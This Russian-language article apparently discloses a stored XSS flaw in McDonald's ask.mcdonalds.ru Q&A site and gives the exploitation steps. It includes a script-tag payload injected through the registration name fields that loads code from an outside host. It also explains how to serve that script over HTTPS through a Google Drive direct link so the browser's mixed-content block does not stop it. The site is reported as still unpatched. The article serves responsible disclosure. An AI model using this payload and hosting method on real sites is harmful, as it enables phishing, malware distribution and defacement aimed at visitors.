Все началось, когда обычным майским днем я наткнулся на сообщество ВКонтакте, публикующее забавные вопросы людей о продукции Макдоналдс, которые они задавали на некоем сайте. Это выглядело примерно так:
Полистав стену, я заинтересовался и решил посмотреть, что же из себя представляет эта платформа для общения с пользователями — ask.mcdonalds.ru.
Краткий экскурс:
Согласно информации, опубликованной у них же, «Сайт призван максимально подробно ответить на вопросы, которые наиболее часто возникают у наших гостей: о составе, безопасности и качестве продукции Макдоналдс — от поля до прилавка. Поэтому в рамках Сайта мы отвечаем на вопросы, имеющие непосредственное отношение к продукции Макдоналдс.»
Я действительно порадовался, с точки зрения клиента здорово, когда я могу задать вопрос о продукции и получить на него адекватный ответ.
Обнаружение уязвимости
Далее я решил зарегистрироваться и попутно проверил, как экранируются символы, передающиеся посредством формы регистрации. Какого же было мое удивление, когда я увидел, что на страницу в итоге все выводится «как есть». Простой пример:
Таким образом мы видим сразу наличие Stored XSS, которую может использовать каждый, кто пожелает, поскольку обнаружить ее очень просто (кстати, ну и кроме этого, на сайте также присутствует пресловутая logout CSRF).
То есть мы вместе с обычными на первый взгляд именем и фамилией также передаем посредством формы что-нибудь наподобие
<script src=http://site.com/AnyDangerousScript.js></script>
и получаем возможность выполнения любого нашего скрипта на главной странице сайта при выполнении далее нехитрых действий, но обо всем по порядку.
Я решил проверить уязвимость снова:
Но в этот раз код не выполнился. Открыв консоль, я увидел следующее:
В данном случае, страница передана по протоколу HTTPS, но также содержит контент, передаваемый по обычному, открытому HTTP (мой скрипт). Тогда соединение считается частично зашифрованным, а сама страница называется страницей со смешанным содержимым.
То есть здесь важно, чтобы и скрипт тоже передавался через HTTPS.
Я задумался, где же будет проще всего разместить файл скрипта в таком случае и вспомнил про Google Диск. И именно облачное хранилище от Google здесь придет на помощь, и нужный файл я без проблем получу по защищенному протоколу.
Любой файл, хранящийся у вас на гугл диске, может быть доступен непосредственно по прямой ссылке. Получить ее совсем не сложно:
Делаем файл доступным по ссылке и получаем что-то вроде
https://drive.google.com/file/d/AAAAAAAAAAAAAAAAAAA/view?usp=sharing
затем берем значение после drive.google.com/file/d/, в нашем случае «AAAAAAAAAAAAAAAAAAA», и подставляем его как значение параметра id в ссылку вида
https://drive.google.com/uc?export=download&id=
Вот и все, теперь нам достаточно зарегистрировать аккаунт, имя которого будет содержать наш код, затем задать какой-либо незатейливый вопрос, дождаться, пока на него ответят и он будет размещен на главной странице.
То есть мы получаем возможность выполнить любой код на главной странице сайта.
Последствия наличия такой уязвимости
Говорить о том, что такое компания Макдоналдс, я думаю, будет излишним. Для настолько крупной компании наличие подобной уязвимости, а точнее эксплуатация ее злоумышленниками, может привести к серьезному экономическому ущербу.
Поскольку это хранимая уязвимость, происходит внедрение собственного (возможно, вредоносного кода) на сервер, выполняющегося каждый раз у пользователя при обращении к оригинальной странице.
И если представить, вариантов использования масса:
- слежка за посетителями
- фишинг
- добавление своих рекламных партнерских программ на сайт
- распространение вредоносного ПО
- и многое другое.
А если бы такая уязвимость попала в руки их конкурентов на рынке? Здесь можно действовать еще интереснее, поскольку таким образом имеется полный доступ ко всему содержимому страницы, они могут к тому же изменять текст как вопросов, так и ответов, формируя фальшивые вопросы-ответы, выставляющие всю компанию в дурном свете, или даже рекламируя свою продукцию, что приведет к формированию отрицательного имиджа, потере лояльности клиентов и в перспективе потере части клиентов клиентов вообще. Такое использование может быть незаметно на первый взгляд и обнаружение могло бы затянуться.
Да и сам по себе deface сайта опасен, поскольку содержимое именно главной страницы сайта, куда заходит больше всего людей, может быть изменено.
Сообщение компании о наличии уязвимости и итог
Проверив все еще раз и убедившись, что уязвимость присутствует стабильно и не является результатом моего субъективного взаимодействия с сайтом, я решил сообщить компании о ее наличии.
Я обращался на различные электронные адреса, указанные на сайте, писал в сообщения официального сообщества ВКонтакте и на Фейсбук, ответили мне только на Фейсбук, сказав, что все подробности я могу отправить непосредственно им, что я и сделал. Прошло некоторое время, но ничего исправлено не было, я еще раз написал напоминание, что уязвимость все еще присутствует, но ответа не последовало. На данный момент прошло уже более 2 месяцев с момента сообщения всех подробностей, к сожалению, ничего так и не исправлено.
Эксплуатировать уязвимость я не намерен, посему надеюсь, что эта статья также поможет донести информацию до компании, и уязвимость будет исправлена.
Автор: anador